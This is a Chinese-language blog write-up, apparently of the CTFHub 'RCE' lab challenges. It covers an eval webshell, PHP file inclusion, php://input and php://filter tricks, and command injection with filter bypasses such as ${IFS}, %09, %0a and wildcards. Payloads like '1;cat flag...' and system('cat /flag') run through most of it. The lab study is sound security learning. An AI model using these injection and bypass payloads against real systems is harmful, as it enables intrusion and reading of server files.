CTFHub 技能树 -RCE

CTFHub – RCE

RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统

eval执行文件

查看一开始的源代码:

<?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?>

 

php函数意思是:

是否由变量cmd 如果有,就执行eval($_REQUEST['cmd']);也就是 木马

 __isset判断一个变量是否已设置, 即变量已被声明,且其值为ture

 所以我们在访问的时候使用变量 cmd

/?cmd=system("ls");

 此处因为根目录无flag 所以看上一级目录

/?cmd=system("ls /");

 然后查找flag:

/?cmd=system("cat /flag_5647");

 

文件包含

<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if (!strpos($_GET["file"], "flag")) {
        include $_GET["file"];
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i have a <a href="shell.txt">shell</a>, how to use it ?

根据页面的源码,知道可以GET方式传入一个file参数,传入的file将会被inlcude包含,因此被包含文件中的命令也会被当做PHP指令执行。

点击页面上的shell,可以看到shell.txt的内容:

可知,题目已经提供了一句话木马,所以我们的目标就是在index页面包含shell.txt,然后将ctfhub参数传入,以执行我们想要执行的命令,这里还需要注意,传入的命令中不能包含flag字符串,这里可以使用通配符来绕过。payload:

http://challenge-2f034509829299a7.sandbox.ctfhub.com:10080/?file=shell.txt

拿到flag 

 

 php://input

<?php
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 6) === "php://" ) {
        include($_GET["file"]);
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
<a href="phpinfo.php">phpinfo</a>

根据题目提示,可以查看phpinfo();的内容,结合题目的名称,查找php://input的相关设置:

 如果文件名前六个如果是:php://则执行include包含函数

所以可以使用php://input来执行命令。

使用BP抓包来传递命令:

<?php eval(system('ls /'));?>  

<?php eval(system('cat /flag_7470'));?>

 

 远程包含

<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if (!strpos($_GET["file"], "flag")) {
        include $_GET["file"];
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag?<br>
<a href="phpinfo.php">phpinfo</a>

 

<?php eval(system('ls /'));?> 

 

<?php eval(system('cat /flag'));?>

 读取源代码

题目中直接说 flag in/flag

所以我们直接使用 php://filter

 

?file=php://filter/resource=/flag

命令注入

1&ls

1&cat 36182730223783.php

右键检查源码:

 命令注入-cat过滤

当cat被过滤后,可以使用一下命令进行读取文件的内容
(1)more:一页一页的显示的显示档案内容
(2)less:与more类似,但是比more更好的是,他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示,可以看出tac是cat的反向显示
(5)tail:查看尾几行
(6)nl:显示的时候,顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器,这个也可以查看
(9)vim:一种编辑器,这个也可以查看
1&ls

1&head flag_175242870532150.php

 命令注入-过滤空格

1&ls

 可是回显的是空格被过滤了,那么使用<或${IFS}试试

1&cat<flag_3030418502354.php

 命令注入-过滤目录分隔符

1;ls

发现文件夹flag_is_here,接下来我们使用cd命令,进入到文件夹,ls查看这个文件的内容

  

1;cd flag_is_here;ls

 

1;cd flag_is_here;cat  flag_11777116454279.php

命令注入-过滤运算符

过滤了管道符 |

1;ls

 

1;cat flag_66881021512.php

综合过滤练习 

发现逗号 ;被过滤

使用%0a试试,发现ls命令被成功执行

在URL上输入/?ip=1%0als,在输入框输入不行

 

进入flag文件,并查询里面的内容

/?ip=1%0acd%09f*%0als 

 

%09代替空格(${IFS}代替空格)

%0a代替 ;

f*代替flag文件

查看flag的内容

/?ip=1%0acd%09f*%0atac%09fl*

 

 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值